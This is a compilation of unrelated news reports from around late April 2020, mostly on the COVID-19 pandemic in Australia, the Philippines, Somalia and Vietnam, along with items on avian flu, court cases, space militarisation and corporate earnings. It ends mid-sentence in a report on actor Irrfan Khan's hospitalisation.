Veitch wearing her home-made mask. But even in Australia masks could help keep me from accidentally passing on a COVID germ to you, particularly if I have symptoms. Many countries where masks are regularly worn when people have colds have lower COVID-19 transmission rates than countries where people don't wear them. The coronavirus is a sneaky germ, I could be contagious without realising it with a very mild dose, or I could be contagious before developing full-blown symptoms. I'm not taking chances. I can understand the theory that compulsory masking might make people feel that social distancing is less important than it was, but I'm being very careful about that still standing apart in the supermarket, still sitting seats apart on the bus (of course, it isn't difficult social distancing when you're the only person on the bus). I haven't randomly kissed anyone in weeks and weeks, alas. Source: Xinhua| 2020-04-29 00:51:07|Editor: huaxia Video Player Close BUDAPEST, April 28 (Xinhua) -- The H5N8 type of avian influenza has been detected in 226 livestock farms in southern Hungary, local media reported on Tuesday. Totally "3.5 million animals were killed in the farms affected by the virus infection, of which 870,000 as a precaution," Lajos Bognar, chief veterinary officer of Hungary was quoted by business portal Haszon (Profit) as saying. The rapid spread of the bird flu was also supported by recent windy, often stormy weather, he added. Bognar also said that similarly to other European countries, the avian influenza was most likely imported to Hungary by migrating wild birds. In concerned Bacs-Kiskun and Csongrad counties in south Hungary, the livestock density had to be reduced to prevent the spread of the virus, he added. Enditem Metro Manila (CNN Philippines, April 28) A coronavirus-hit cruise ship previously docked in Australia is heading to the Philippines, along with a hundred Filipino crew members. Commodore Armand Balilo, spokesman of the Philippine Coast Guard, confirmed to CNN Philippines on Tuesday that the Ruby Princess will be allowed to "dock or anchor" in the country. Balilo said those on board will be tested for COVID-19. Those diagnosed with the virus will be brought to the hospital for treatment while those who test negative will be placed under the mandatory 14-day quarantine, he said. Department of Foreign Affairs Assistant Secretary Ed Menez said the Philippine Ports Authority, Bureau of Quarantine, and the Overseas Workers Welfare Administration will be "in charge" once the ship arrives at Manila North Harbor. Authorities have yet to disclose other details. Australian media earlier reported that the ship, linked to 21 coronavirus deaths and some 600 infections, sailed out of the Oceania country on April 24. It was quarantined at Port Kembla, south of Sydney, since April 6. Some 360 Filipino crew members were earlier evacuated, boarding a special chartered Cebu Pacific flight from Sydney back to the Philippines, the DFA said last week. Over 100 Filipinos remained on board to operate the vessel. Metro Manila and several provinces in the country are under enhanced community quarantine, restricting people's movement, but overseas Filipino workers are allowed to return as long as they undergo a 14-day quarantine before going back to their homes. COVID-19 response chief implementer Carlito Galvez, Jr., in an online briefing, said 16,000 OFWs are now in quarantine facilities while the government is expecting 150,000 inbound Filipinos. Nationwide, the number of COVID-19 cases rose to 7,958 on Tuesday, with 530 deaths and 975 recoveries. RELATED: 209 more Filipinos abroad have COVID-19, largest single-day jump in past month CNN Philippines' Tristan Nodalo contributed to this report. Police are hunting for a man who allegedly spat on a woman and verbally abused her at a popular shopping centre. The woman was allegedly targeted as she rode an escalator at Melbourne's Chadstone Shopping Centre. Victoria Police allege the assault occurred around 9.25am on March 20, just over a week before stage three coronavirus lockdowns were introduced. Pictured is a man police believe can assist with enquiries Pictured is a man police believe can assist with enquiries Police released images of a man they believe can assist with enquiries, who is described as being white, bald and aged in his 40s or 50s. He was wearing a blue blazer, a light-coloured shirt, sunglasses and dark jeans. Victoria Police said the man was not known to the alleged victim and called for the public's assistance identifying the alleged attacker. The police search comes as states across Australia introduce harsh penalties for assaulting or spitting at a frontline workers. Attacks on key workers, such as nurses, doctors and shop staff have been rife amid the coronavirus pandemic. In Queensland, anyone who attacks front-line workers will now face fines of up to $13,000 thanks to a state-wide clampdown. Metro Manila (CNN Philippines, April 28) The Philippine Army on Tuesday confirmed two of its personnel are currently battling COVID-19. This brings the total number of cases within the Army to nine, Commanding General Lt Gen Gilbert Gapay told CNN Philippines. "Right now, we have two active cases but this is from a high of 9 since we started this in March. 7 have already recovered," Gapay said in an interview with The Source. He added the Army has recorded 44 probable cases of the infectious disease. In line with this, the Army assured it will ramp up efforts not only to help enforce the community quarantine but also to make sure that its "exposed" personnel are provided with proper protective equipment. "That's why what we do is we arm and equip our personnel with necessary PPEs, masks, with adherence to health protocols. And of course, boost their immune system by providing them vitamins, and of course, the usual exercises they do," Gapay said. The Army chief noted that troops manning checkpoints also undergo proper "decontamination and disinfection procedures" before ending their duties. Earlier, Armed Forces of the Philippines Chief of Staff General Felimon Santos, Jr. contracted but already recovered from the viral disease. The Army is the largest service branch of the Armed Forces of the Philippines. To date, the country has recorded 7,777 cases of COVID-19, including 511 fatalities and 932 recoveries. The Covid-19 pandemic is the biggest test the world has faced since World War II. There is a natural tendency in the face of crisis to take care of ones own first. But true leadership understands that there are times to think big and more generously. Such thinking was behind the Marshall Plan and the formation of the United Nations after World War II. This is also such a moment. We must work together as societies and as an international community to save lives, ease suffering and lessen the shattering economic and social consequences of Covid-19. The impact of the coronavirus is immediate and dreadful. We must act now and we must act together. Just as we must act together to address another urgent global emergency that we must not lose sight of climate change. Last week, the World Meteorological Organization released data showing that temperatures have already increased 1.1 degrees centigrade above preindustrial levels. The world is on track for devastating climate disruption from which no one can self-isolate. Now, on every continent and in every sea, climate disruption is becoming the new normal. Human conduct is also leading to severe biodiversity loss, changing animal-human interaction and distorting ecosystem processes that regulate our planetary health and control many services that humans depend on. Science is screaming to us that we are close to running out of time approaching a point of no return for human health, which depends on planetary health. Addressing climate change and Covid-19 simultaneously and at enough scale requires a response stronger than any seen before to safeguard lives and livelihoods. A recovery from the coronavirus crisis must not take us just back to where we were last summer. It is an opportunity to build more sustainable and inclusive economies and societies a more resilient and prosperous world. Recently the International Renewable Energy Agency released data showing that transforming energy systems could boost global G.D.P. by $98 trillion by 2050, delivering 2.4 percent more G.D.P. growth than current plans. Boosting investments in renewable energy alone would add 42 million jobs globally, create health care savings eight times the cost of the investment, and prevent a future crisis. Chinese Ambassador Xing Haiming said Monday that Beijing will continue to discuss plans for Chinese President Xi Jinping's visit to Korea "through diplomatic channels." Xing made the comments to reporters after meeting with Deputy Foreign Minister Kim Gunn. Xi's putative visit "is very important," he added. Xing in a media interview last month said no decision had been made about the timing of the visit but confirmed that the Chinese leader has accepted an invitation from President Moon Jae-in. The government here had hoped that Xi would visit during the first half of this year, not least for the fillip that would give it in the general election, but the coronavirus epidemic threw a spanner in the works and the ruling party won anyway. But Cheong Wa Dae has denied media reports that Xi's visit has been postponed until the second half of this year. Meanwhile, Xing said he has no knowledge of reports claiming that a team of Chinese medical experts have visited North Korea to tend to the North's leader. Philadelphia magazine, a 90,000-circulation monthly with 85 staffers, has done all it can to get through the pandemic, furloughing employees and applying for and receiving a small-business loan that was part of the coronavirus economic rescue package. But on Tuesday, the media company did something it never did before: hire someone outside the Lipson family to run it. David Lipson Jr., 64, relinquished the CEO title and said the companys board hired Connecticut-based consultant Nick Fischer as as the companys new chief executive. Lipson remains board chairman. Fischer did not respond to an email. He has been a managing partner for the last two years at consulting firm Cadilus in Stamford, Conn. My mission at Cadilus is to provide a better way to manage business performance by bringing Fortune 500 finance and analytics to the middle markets, he posted on his LinkedIn page. Fischer also listed recent stints at Betteridge Jewelers Group in the New York City area and finance director at Nordstrom in the Seattle area, along with an MBA from the University of Pittsburgh. FAQ: Your coronavirus questions, answered. The intent is not to bring in someone to make cuts, Lipson said. We thought the Great Recession was bad. But the challenge with this is that we dont know when this sucker ends. Its the great unknown. Lipson didnt rule out cutbacks based on future business conditions. Lipsons father, D. Herbert Lipson, who ran the company for many years, died in 2017. The company is controlled by David and his two sisters, Sherry Litwer and Debbie Claremon, Lipson said. Stay-at-home orders to stem the spread of the virus have shut down swaths of the economy, leading to declines in advertising for newspapers, magazines, radio stations, and TV, including The Inquirer. Philadelphia magazine also stands to lose revenue from canceled live events such as Wine Fest. Every business is threatened, Lipson said. The company received a small-business loan through the Paycheck Protection Program, though Lipson declined to disclose the size of the loan. He added that hes confident that the company can get through the crisis. Fischer brings organizational discipline to what has been a family business and will help the company prepare for the future, Lipson said. Philly Mag plans on instituting a paywall for its content in July, doing what many other publications, including The Inquirer, have done to generate digital revenue as print subscriptions erode and advertising migrates to Google and Facebook. Lipson said the company has a great brand and we have a highly engaged audience and we have a great niche in the marketplace. An ice addict who savagely bashed and abused the mother of his four-month-old child told police afterwards it was a 'standard night'. Harley Raymond Philp, 24, punched his partner in the face in May 2019, squeezed the woman's neck and twisted her chest, Southport District Court heard on Tuesday. The Gold Coast man pleaded guilty to multiple charges including assault occasioning bodily harm and wilful damage, Gold Coast Bulletin reported. Harley Raymond Philp, 24, was sentenced to two years in jail at Southport District Court on the Gold Coast after he brutally abused his partner last May (stock image) The court heard Philp was using a gram of methamphetamine daily around the time of the attack. Crown prosecutor Natalie Lima said the beating left Philp's partner with bleeding cheek piercings and bruises to her face, neck and breast. 'She speaks of how exhausted she was on the night of the offending and describes a feeling of helplessness, weakness and shame when she looked in the mirror at the injuries,' Ms Lima said. The court heard the couple had been in an on-and-off relationship for years and had a baby together last January. Philp and his partner were arguing in their bedroom last May when he called the woman a 'slut' and 'whore' and a fight broke out. The court was told Philp punched her in the face, put his arms around her neck and squeezed, twisted and punched her in the chest. She repeatedly asked him to stop and felt like she was going to be killed, the court heard. When police questioned Philp he told them it was a 'standard night' and that they 'had a bit of a verbal argument'. Philp was taken into custody on May 21 and has written to the woman three times since then. Judge Catherine Muir sentenced Philp to two years in jail with immediate release on parole. She said: 'The complainant has been devastated and severely affected by your actions.' Defence barrister Kylie Hillard told the court Philp began to have drug problems when he was 13-years-old and took pain killers after suffering from a ruptured spleen. Ms Hillard said Philp had a plan to complete the remaining six months of his mechanic apprenticeship and deal with his drug and anger management issues when released. The Lagos State Government (LASG) has released the names of 204 inmates to be freed from the Nigerian Correctional Service (NCoS) Custodial Centres in Lagos. The Controller NCoS, Lagos Command, Sam Iyakoregha, confirmed the receipt of the names of the inmates while presenting the list to the Deputy Controller of Correction, in-charge of the Ikoyi Custodial Centre, Ayoola Opadeji, on Tuesday in Lagos. The News Agency of Nigeria (NAN), reports that the 204 inmates are part of 2,600 announced by the federal government to be released, in line with its amnesty policy, to decongest the countrys Custodial Centres against the outbreak of COVID-19. The Minister of Interior, Rauf Aregbesola, had on April 9, announced that the federal government had granted amnesty to no fewer than 2,600 prisoners nationwide. Mr Aregbesola had said the amnesty would benefit inmates that were 60 years and above, those suffering from ill-health likely to terminate in death and convicts serving three years and above with less than six months to serve. He added that inmates with mental issues and those with an option of fine not exceeding N50,000 as prospective beneficiaries of the amnesty. The Lagos NCoS boss, who was represented by the Commands Public Relations Officer, Rotimi Oladokun, said the 204 prisoners would be released from all the Custodial centres in Lagos. Mr Iyakoregha said 53 inmates would be released from the Ikoyi Correctional facility and 18 from the Badagry Custodial centre. He added that nine inmates from the Female Custodial centre, Kirikiri, 89 from the Medium custodial centre, Kirikiri, and 35 others from the Maximum Custodial center in Kirikiri, Lagos would also regain their freedom. The NCoS boss commended the federal government for its magnanimity toward the Correctional Service in the midst of the COVID-19 outbreak. He further urged the inmates to be of good behaviour when reintegrated into the society adding that any act of lawlessness on their part would not be tolerated. The Controller noted all hands were on deck at the Lagos command to ensure that quality services were provided always. (NAN) Experts believe actual tally of cases is much higher than current numbers due to countrys limited testing capacity. Six weeks after registering its first coronavirus case, Somalia on Monday had confirmed 480 infections out of 764 people tested for COVID-19, the highly infectious respiratory disease that has disrupted life worldwide. The figures, given to Al Jazeera by Dr Abdirizak Yusuf Ahmed, the person leading Somalias COVID-19 response, raised major concerns that the actual tally could be much higher. We believe we are missing thousands of cases, said Ahmed, incident manager of Somalias task force. He explained that infections are going undetected because only highly symptomatic people are being tested, which also in part explains the number of positives given the sample size. Ahmed also said the country does not have the capacity to mass test. There are currently only three labs equipped to safely test for the disease, including one in the semi-autonomous state of Puntland and one in the breakaway region of Somaliland. 200428150049637 The number of tests these labs can process is very limited, said Justin Brady, the head of office for the United Nations Office for the Coordination of Humanitarian Affairs (OCHA) in Somalia. Doctors, community leaders, public health experts and staffers with humanitarian agencies spoke to Al Jazeera expressing worries that swaths of the population, especially in the capital, Mogadishu, might have been impacted by COVID-19. On Tuesday evening, the number of confirmed infections rose to 528. Hodan Ali, the durable solutions and humanitarian coordinator for Benadir Regional Administration, the region in which Mogadishu sits, said no organised system for recording information has been implemented across hospitals, clinics and facilities supported by international partners. One reason for this lapse, according to national chief medical officer Dr Mohamed Mohamud Fuge, is a lack of preparation. We were not prepared for a pandemic. We are just starting now, he said. OCHAs Brady said that in terms of treatment, Somalias health sector has been reliant on humanitarian funding for decades to simply operate, with little development funding invested. So the capacity is extremely low, though authorities, NGOs and the private-sector healthcare facilities are doing the best they can with the limited resources they have. Poor health infrastructure In Somalia, the challenge to contain COVID-19 is staggering. The countrys health infrastructure has been gutted by decades of conflict and instability. A large part of the population lives in close quarters, while millions reside in decrepit settlements for internally displaced people without money to buy soap or access to regular running water. At the same time, staying at home is not a practical option for most informal workers who need to leave their homes daily to earn money and put food on the table. Somalia comes top of the INFORM Global Risk Index with a vulnerability score of 8.9 out of 10. This makes it the country with the weakest capacity to cope with the added stress of a pandemic such as COVID-19 in the world, Iman Abdullahi, Somalia/Somaliland country director for CARE, a humanitarian organisation. With a health system already at breaking point, shortage of personal protective equipment for health staff and deep-rooted stigma of those affected, if no urgent attention is given to this looming crisis, Somalia will likely suffer the effects of the pandemic more severely than many other countries which has already been shown by the rapid spike in reported cases on a daily basis, Abdullahi said. 200425143536573 While there is little conclusive data on the viruss spread, anecdotal evidence suggests that it is getting transmitted across Mogadishu. On social media, there are reports of concerns about neighbours, relatives and colleagues with the sickness. The Ministry of Health is doing their best, but they are not equipped, and there is no system, said Abdisalaam Aato, a communications consultant and Mogadishu resident. There is no tracking at all. The Ministry of Health is just telling us how many people died, they are not sharing with the public which area [in Mogadishu] is hit. Its scary. You see people dying. A health practitioner, who wished to remain anonymous, said there has been an increase in funerals in some neighbourhoods around the city. Another doctor, who also requested anonymity, said: Many people are dying in their homes. Its either because the families of the sick think its a mere common cold, or theyre afraid hospitals will turn them away. Two of the 10 people interviewed did not allow their names to be used in this article, fearing reprisals from the government. All expressed an urgency that the severity of the situation in Somalia be made clear. The federal government of Somalia has a history of cracking down on anyone who speaks out against its policies, said Abdullahi Hassan, Somalia researcher at Amnesty International. Al Jazeera reached out to the office of the prime minister and the information ministry, but did not receive a response by the time of publication. As of Tuesday, the country had registered 28 deaths related to coronavirus. Nineteen confirmed patients have so far recovered from the virus. Martini Hospital in Mogadishu is the only medical facility dedicated to treating COVID-19 patients. Due to its limited capacity, the hospital only caters to the most severe cases. Ali, the Benadir regional coordinator, said she believed the spread of the virus was in part due to a lack of education on the sickness and how to manage it, and in part because it was impossible to physically distance in a crowded city where most people have to go outside to make ends meet. She expressed frustration that her team of 370 community health workers trained to sensitise communities do not have protective equipment to travel to neighbourhoods to follow up on suspected cases and spread basic awareness about coronavirus. The government has set up a call centre where citizens can reach out for free to get information and advice and the system has been widely successful, with Fuge, the chief medical officer, saying the centre got more than 8,800 calls in a period of 24 hours. Ali agreed the initiative had been a great support, but noted that a call centre alone was not sufficient to spread awareness nationwide. Somalia closed its borders in mid-March as part of measures aimed at preventing the spread of the pandemic. The government also imposed a curfew in Mogadishu earlier this month. Last month, Chinese billionaire and Alibaba cofounder Jack Ma donated coronavirus-related supplies to countries across the continent. Somalia received 20,000 testing kits, 100,000 face masks and 1,000 protective suits and face shields, which the government is expected to distribute to various states, according to the UN. In mid-April, Turkey also dispatched a plane with medical supplies. Police, meanwhile, should receive hygiene and information packs next week. A representative from the UN Development Programme (UNDP) said the agency has worked with the government to produce mass information campaigns, including a music video and a three-day initiative during which local leaders would go around Mogadishu in cars with loudspeakers to dispel myths about the disease and promote handwashing and social distancing. UNDP told Al Jazeera that for now, it has not implemented any of these efforts outside of Mogadishu, but that it plans to expand them. Many areas outside the capital, however, are held by al-Shabab, an al-Qaeda-linked group fighting to overthrow the countrys internationally recognised government. This makes it nearly impossible for medical and humanitarian workers to carry out operations in those areas. The problem is even more worrying in hard-to-reach areas where humanitarian healthcare assistance has not been allowed to penetrate, said OCHAs Brady. In the past, al-Shabab has allowed a small degree of access at a local level during cholera outbreaks, but Brady noted, we are unaware of any specific context that would bring about such a reconsideration by localised al-Shabab elements at this time. The group has also carried out frequent attacks in Mogadishu and other cities, which also hinders the response to the outbreak. Against all this, Ali said she believed civilians already accustomed to insecurity and unpredictable futures might be less open to taking precautions like social distancing to quell the disease. For 30 years when youre being shelled, gunned, bombed, you develop a resilience to death, Ali said. People walk down the street knowing they could explode. The attitude is what will come, will come. Commercial banks are seeking more workers even though the economy has been hit hard by the pandemic. Recruitment notices say banks need both officers and medium- and high-ranking managers. Contrary to the prediction that commercial banks would have to cut personnel in Covid-19, a report from the Monetary Forecasting and Statistics Department under the State Bank of Vietnam (SBV) shows they are recruiting more workers. More than 62.5 percent of credit institutions said they would increase the numbers of workers this year, while only 8.7 percent said they plan to cut personnel. Many banks announced recruitment campaigns in April, under which they planned to employ from tens to hundreds of workers for different positions. BIDV, one of the big four, announced the first recruitment campaign of the year on April 18. It is seeking 753 officers for eight positions, including customer management, risk management, general planning, credit management, tellers, accountants, human resources and information technology officers. The officers to be recruited will work at 160 branches of the bank. Commercial banks are seeking more workers even though the economy has been hit hard by the pandemic. Recruitment notices say banks need both officers and medium- and high-ranking managers. Private banks are also hurrying to recruit workers, especially new graduates. Techcombank, Sacombank, HDBank, ACB and Nam A Bank are seeking candidates for the positions of customer relationship officers, tellers and consultancy officers for their transactions points throughout the country. Experience is not required for the candidates for the positions. One of the recruitment methods applied by the banks is seeking candidates among last-year university students. VPBank and MBBank are running programs on recruiting interns for the posts of individual and corporate customer relation officers. The programs allow students to practice during the study period and find jobs soon after the graduation. Banks are also seeking senior experts for medium- and high-ranking positions. In Hanoi, MSB, PVcomBank, HDBank, VietA Bank, MBBank, SCB, Nam A Bank and OCB are recruiting workers for the post of customer relation director and senior executives for many different divisions. MSB, for example, is recruiting 83 workers for the posts of senior planner, core app operation director, senior planners and finance experts, high ranking officers in charge of VIP clients, and some seniors for credit, IT, communication divisions. VietABank needs workers for 24 positions in Hanoi, including treasury manager, senior service quality management specialist, call center senior officer, and valuation experts. The common characteristic of the recent recruitment campaigns is that they are designed in a way to ensure safety in the epidemic. At BIDV, for example, instead of written test (professional knowledge, IQ and foreign languages), and interview, this years recruitment campaign will comprise two rounds shortlisting and interview. ACB and NCB said they will carry out online interviews instead of face-to-face interviews. Le Ha State-owned banks told to sacrifice profits to support businesses Deputy Governor of the State Bank Dao Minh Tu said at a conference between the Prime Minister and ministries leaders that state-owned banks will have to sacrifice 30-40 percent of profit to help businesses cope with Covid-19. Irans satellite launch is just the latest significant event in a string of military developments in space. The coronavirus might be bringing entire sections of the global economy and society as we know it to a halt, but it has not slowed the militarisation of space. Im not sure whether Russia, China and Iran are taking advantage of COVID-19, or not, to move forward with the testing and deployment of their ballistic missile and anti-satellite capabilities, Frank Rose, a former United States assistant secretary of state for arms control and a senior fellow at the Brookings Institution, told Al Jazeera. However, one thing is very clear to me: these countries see ballistic missiles and anti-satellite weapons as central to their strategies to counter key US military advantages. At the beginning of March, the US Space Force announced it had acquired its first offensive weapons system, a satellite signal jammer called the Counter Communications System. Two weeks later, China launched three classified military satellites into low Earth orbit (LEO), which the state-run news agency, Xinhua, said would operate as a group to test remote sensing technologies. Earlier this month, Russia tested a rocket designed for that nations anti-satellite (ASAT) missile system. The latest event comes from Iran The latest significant event occurred on Wednesday last week when Iran successfully launched what it described as a four-kilogramme (8.8-pound) reconnaissance satellite into orbit, provoking a blast of accusations about ballistic missile development from a handful of nations, and a sarcastic tweet from US Space Force Commander General Jay Raymond, who called Irans satellite a tumbling webcam in space. While space is not a new domain of operations for the Russian, Chinese, American and other militaries, it is for Iran, sort of. For years, Iran has used spoofing transmitting a signal that imitates the Global Positioning System (GPS) and satellite-jamming technologies to target US ships and foreign broadcasters, according to the Center for Strategic and International Studies (CSIS). While many have focused on the Nour-1 satellite launch itself, the fact that the Islamic Revolutionary Guard Corps (IRGC) was behind it has some experts saying the event has officially revealed what they have known for a while, that Iran has a space force of its own. The involvement of the IRGC whose head of aerospace Amir Ali Hajizadeh is pictured here in the satellite launch is being seen by experts as confirmation of Irans military ambitions in space [File: Sepah News via Reuters] Since 2017, Irans space agency has racked up four failed attempts to launch a satellite, and a mysterious rocket explosion on the launchpad. There has been speculation that foreign sabotage may have caused any one or all of the failures and the blast and perhaps an unconnected fire at the Imam Khomeini Space Center in February 2019, which killed three people. Kaitlyn Johnson, associate director of the Aerospace Security Project at CSIS, told Al Jazeera that, not only was Wednesdays successful launch a surprise to her, but who was in charge of it was too. What could be the difference is that the string of failures was conducted by the Iranian Space Agency, from a very well known spaceport that we track and the US government has eyes on. But this successful launch was actually carried out by the military and from a different location as well, Johnson said. To conduct last weeks launch, the IRGC is thought to have taken the cube satellite and a three-stage Qased rocket some 330km (205 miles) outside of Tehran into the Central Desert to a mobile launch platform in Shahroud. North Korea uses similar launch platforms as they are more difficult for intelligence agencies and their imaging satellites to monitor. Business as usual? These provocative events have transpired while most of the planet has been focused on battling the coronavirus that causes COVID-19. Russia, China, Iran and the US have all been criticised for their handling of the pandemic. The timing may feel like a coincidence, but Namrata Goswami, an independent analyst and author specialising in space policy, told Al Jazeera that the pandemic is not driving the schedule. This has been long in the making. The pandemic situation creates a window of strategic opportunity, she said. But while these space launches are usually scheduled in advance, it clearly showcases that both China and Russias actions are aimed at creating strategic vulnerability vis-a-vis the US. Goswami said she believes that, for Iran, the US assassination of the IRGCs top commander, General Qassem Soleimani, in a drone strike in January, and the recent spate of the IRGCs speedboats harassing US Navy warships in the Gulf comprise the calculus at work. The successful launch of the Nour satellite to low Earth orbit, a first by Iran on a new Qased rocket, is to showcase Iranian technological prowess in the context of that assassination that left Irans top leadership shaken and ashamed, she said. These space launches, in general, are meant to demonstrate that leadership in the final frontier is contested. Dog Central is one of the many local restaurants in Mt. Pleasant that is continuing to operate amidst COVID-19 related shutdowns. The hot dog restaurant is located on 111 E. Michigan Street and specializes in hot dogs with a variety of different toppings. Since the COVID-19 pandemic has began to affect business, Dog Central has bee providing take-out options for their customers. They also briefly offered a delivery service, as Clints Body Shop allowed them to borrow a car, but currently are relying solely on services like Uber Eats and Door Dash for deliveries. Were doing alright though a lot of our business is built on late night sales from students, Owner, Paul McFall said. Were down around 60% but we expect business to pick up once the students come back in August and September. The employees have been able to adapt to the changes though they are used to business being different. The employees have adapted really well to the changes though it feel good to be busy, McFall said. Dog Central has also implemented stronger cleaning sanitation measures. The restaurant generally has an indepedent cleaner come in the morning once business ends for the night, though currently the cleaner has implemented stricter cleaning measures. Our employees also have the option to wear masks though it is a challenge for those that wear glasses, McFall said. We will often wipe down the doors, the counters, the iPads, and the drink machine though we havent sold many beverages. While the COVID-19 pandemic has affected business, McFall expects Dog Central should be fine in the fall as long as September and college is near normal. Were working on new bar menu and food options, so were looking forward to fall, McFall said. For more information, visit dogcentralmp.com or call 989-317-3076. The Washington Post "Post Reports" is the daily podcast from The Washington Post. Unparalleled reporting. Expert insight. Clear analysis. Everything you've come to expect from the newsroom of The Post - for your ears. - - - 28.04.2020 LISTEN Dance is an integral aspect of the Ghanaian culture and it is highly perceived that it's easier to get a breakthrough into the mainstream as an artiste once you do party or danceable songs. 'Amanfour girls' hitmaker, Quamina MP has revealed in a recent interview with Amansan Krakye on Radio Central that though Ghanaians love dancing, that is not the motive behind his constant release of party songs. When asked by Amansan Krakye whether he has found the key to unlock what Ghanaians love which is dancing that's why he normally does part songs, he replied "I'm the type of person who loves to be happy. I want to have fun and the songs I do come from my daily encounter with other people who equally love being happy. "Sometimes you don't have to force the song when composing because you might not get exactly what you want. The songs must come freely from within at ease. "I think I do party songs because I always find myself around people who love to be happy even in the face of adversaries and transgressions. "So the songs I do come from my lifestyle and the things I do on a daily basis. It's not as if I found the key to unlock what Ghanaians love which is dancing that's why I always do party songs". Quamina MP apart from hitting the limelight with Wiase y3 d3 has also got other danceable songs like a party, Amanfour girls, after return, and issakaba all to his credit. The nation's Deputy Chief Medical Officer Paul Kelly is confident Australia can handle a second wave of coronavirus infection after the country winds back current restrictions. Professor Kelly said Australia had moved into a new, "less frightening" phase of the pandemic and an announcement would be made in coming weeks on how to best live in a COVID-19 safe society. NSW recorded 11 new cases of coronavirus on Wednesday, which included a four-year-old girl who attended a childcare centre in Cranebrook in Sydney's west. The state's death toll is 40 following the death of another resident at Anglicare's Newmarch House at Caddens, near Penrith. Twelve residents of the western Sydney facility have now died. Outside NSW there were a further eight infections, with three cases recorded in Victoria and three more in Tasmania. A high-profile republican arrested after failing to answer his door could be kept in custody for any further breach, a judge has warned. Colin Duffy appeared at Belfast Magistrates' Court on Tuesday over an alleged breach of his bail on IRA membership charges. The 52-year-old, whose address cannot be disclosed, is currently on trial with two other men accused of directing terrorism. Duffy was detained after police called at his home just before 6am today but got no answer. The incident coincided with the birthday of his son Seanna, who died in a car crash at the age of 19 last July, the court heard. Defence solicitor Darragh Mackin said Duffy had been up until the early hours comforting his other children. When the family eventually went to bed no-one heard the door being knocked. Stressing that it was Duffy's first breach in the four years he's been on bail, the lawyer argued that his client should be released again. "These are exceptional circumstances, it would be entirely unfair and disproportionate (to keep him in custody)," Mr Mackin said. District Judge George Conner was told Duffy's previous bail conditions had been relaxed by the removal of an electronic tag. Acknowledging the tragic loss of the accused's son, Mr Conner agreed to release him again on the same terms. He said: "It's with a very clear warning that any further breach may result in a remand in custody." Meanwhile, Duffy's non-jury trial at Belfast Crown Court remains adjourned due to the Covid-19 pandemic. Along with co-defendants Henry Fitzsimons, 51, and Alex McCrory, 58, he denies all charges against him. Editor's Note: With so much market volatility, stay on top of daily news! Get caught up in minutes with our speedy summary of today's must-read news and expert opinions. Sign up here! (Kitco News) - Caterpillar Inc. (NYSE: CAT) reported an annual decline in first-quarter earnings Tuesday with sales across all of its main business segments including resources weaker than a year ago. Meanwhile, the company said its financial results for the year will be impacted by the global economic uncertainty brought about by the COVID-19 pandemic. Caterpillar withdrew its earnings guidance on March 26 and is not providing a fresh financial outlook for now. The giant construction and mining equipment maker posted a quarterly profit of $1.98 per share, which was down 39% from $3.25 in the first quarter of 2019. After special items, the adjusted profit was $1.60 a share, down 46% from $2.94 in the year-ago period and below the consensus forecast that news reports put around $1.69 a share. First-quarter revenue of $10.6 billion fell by 21% from $13.5 billion a year ago. The company blamed the decline on both lower end-user demand and changes in dealer inventories. Dealers increased machine and engine inventories by about $100 million during the first quarter of 2020, far less than the $1.3 billion during the first quarter of 2019. Sales in the construction industry fell to $4.3 billion from $5.9 billion in the year-ago quarter, while sales in the resource industries fell to $2.1 billion from $2.8 billion. Energy and transportation sales fell to $4.3 billion from $5.2 billion. Mining equipment sales were lower due to weakness in certain commodities, Caterpillar said. In addition, demand decreased for equipment supporting non-residential construction and quarry and aggregates. The profit for the resources industries was $304 million, down from $576 million in the same quarter of 2019. As of mid-April, approximately 75% of Caterpillars primary production facilities were continuing to operate as the world tries to halt the spread of COVID-19, the company said. Many governments have classified Caterpillars operations as essential to support infrastructure. Nevertheless, Caterpillar has suspended operations at some facilities due to supply issues, weak customer demand and government regulations, the company said. Meanwhile, the company has implemented safeguards in its facilities and taken steps to reduce costs, including the suspension of 2020 base salary increases and short-term incentive compensation plans for many employees and all senior executives, Caterpillar said. We have taken decisive actions to enhance our strong financial position, while continuing to execute our strategy for profitable growth, said Jim Umpleby, chairman and chief executive officer. Caterpillar has faced and overcome many challenges in our 95-year history. Our goal is to emerge from the pandemic an even stronger company. There was a serendipitous drop at the beginning. From the point where everything was normal to everything was not was in the span of less than a week, said Laird Rixford (pictured), president of ITC. What we saw over the following three weeks from that event was that theres a minimum amount of business that has to happen in the insurance industry and we saw that stabilize where we were just about 30% lower with quote volumes. He continued: While were looking at that from a quote volume perspective, weve also had many conversations with our agency and carrier partners and they say that their numbers align with our numbers as well that theyre about 30% off from where the norm is. Consumer confidence has had a role to play in dictating quoting volumes, as it does with the broader economy and stock markets. ITCs quote volumes track closely to overall consumer confidence and that showed up this past week relating to the stimulus checks, which have had a warming effect on the overall frigid environment, explained Rixford. Online traffic to insurance agency websites has meanwhile moved in the other direction. The latest ITC weather report indicated that the number of consumers seeking insurance online continues to out-perform the historical model. Traffic to ITCs Insurance Website Builder clients was up 3%, and online quote requests and goal completions spiked over the week of April 13. All in all, these two online activities ended at 25.2% above expectations for that week. This is tied directly to how consumers are interacting with the buying process for whatever consumer goods theyre looking to purchase these days, said Rixford. Insurance is an essential item and consumers are now using online methods that allow them to continue to shop for insurance while maintaining social distancing. Read more: What agencies can learn from Amazons customer experience focus As insurance agents keep their doors open and offer their essential services to insureds during this time, the ITC leader recommends that they meet their customers where and when theyre shopping. For instance, if a client wants to contact their agent by phone, they should be able to still do so. If they want to communicate via email or the website, agents should also have all of these methods in place, as well as capabilities they can offer customers, like live quoting or the ability to service their policies through client portals provided by agency management systems. Agents and brokers need to provide their consumers and their clients access to their data, access to new policies, and access to the agent directly through these electronic and remote means, said Rixford. At the same time, agents need to be that trusted advisor to their clients, now more than ever. Read more: How insurance agencies can win referrals from clients The technology has been available to agents and brokers for years that enables this remote environment, but now agents need to be trusted advisors to their clients by providing them guidance of this is how you can navigate this time financially because thats where the biggest impact is coming right now its through the financial losses and concerns and worries regarding finances of the clients, explained Rixford. As for his forecasts on quoting volumes and online traffic for the coming months, the ITC president predicts that the US and the insurance industry specifically is facing a long-winded ramp up populated by momentary setbacks. He added: The reality is it may take us through the rest of the year to return back to the normal quoting and rating levels that agents and brokers are expecting in the market. Mumbai, April 28 : Actor Irrfan Khan is once again hospitalised. Amid the ongoing nationwide lockdown, the actor reportedly has been admitted in Mumbai's Kokilaben Dhirubhai Ambani hospital. The actor's health suddenly deteriorated as a result of which he needed immediate medical attention. The 53-year-old actor has been admitted to the hospital's ICU, according to a report in aajtak.in. His wife Sutapa Sikdar and two sons are with him. The actor has been ailing ever since he was diagnosed with 